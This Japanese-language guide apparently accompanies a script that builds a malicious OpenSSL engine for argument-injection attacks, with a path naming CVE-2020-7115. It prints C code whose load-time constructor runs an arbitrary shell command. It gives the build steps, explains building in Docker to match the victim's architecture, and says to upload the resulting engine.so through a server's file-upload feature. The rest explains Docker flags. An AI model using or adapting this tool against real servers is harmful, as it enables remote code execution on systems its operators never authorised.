
悪意のあるエンジンを数秒で作成
数秒で悪意のあるエンジンを作成
opensslの引数インジェクションシナリオで使用可能な悪意のあるエンジンを生成するシンプルなスクリプト。
とても簡単で、engine.cファイルをお好みのコマンドで修正するだけです:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
修正が完了したら、以下のようにスクリプトを実行するだけです:
bash build_engine.sh
このコマンドはoutputというフォルダを作成し、その中にengine.soというファイルが生成されます。このファイルをファイルアップロード機能を通じてサーバーに送信します。
重要なのは、悪意のあるエンジンを被害者のシステムと同じ特性で作成する必要があることです。つまり、ターゲットシステムが64ビットLinuxで動作している場合、64ビットLinux上で悪意のあるエンジンを作成する必要があります。
Dockerはこの種の作業に最適なテクノロジーであり、環境のセットアップは非常に簡単です。
まず、このサイトから64ビットDebian Linuxシステム用のDockerイメージをダウンロードします:
sudo docker pull debian
次に、以下のようにDockerを起動します:
sudo docker run -v `pwd`:/code -it debian
ここで行ったことを少し理解しましょう。-vフラグはボリュームを作成するために使用され、この場合は/codeフォルダの内容を現在のディレクトリフォルダの内容に関連付けています。そのためpwdを使用しています。
関連付けるとは、/code(Dockerイメージのルートにあるフォルダ)で作成または編集したものはすべて、pwdでも表示され、その逆も同様です。
今回の場合、pwdはローカルマシンの以下のディレクトリを指しています:
/home/retr0/CVE-2020-7115/
一方、-itフラグは次のように考えることができます:
-t (--tty)フラグは、Dockerにコンテナ内の仮想ターミナルセッションをマッピングするように指示します。これは通常、-i (--interactive)オプションと一緒に使用され、detached modeで実行している場合でもSTDINを開いたままにします。
つまり、実質的に-itフラグを使用すると、該当のコンテナからシェルを取得したい場合に便利です。
問題ありません。この投稿を参照すれば、この脆弱性を完全に理解できるはずです。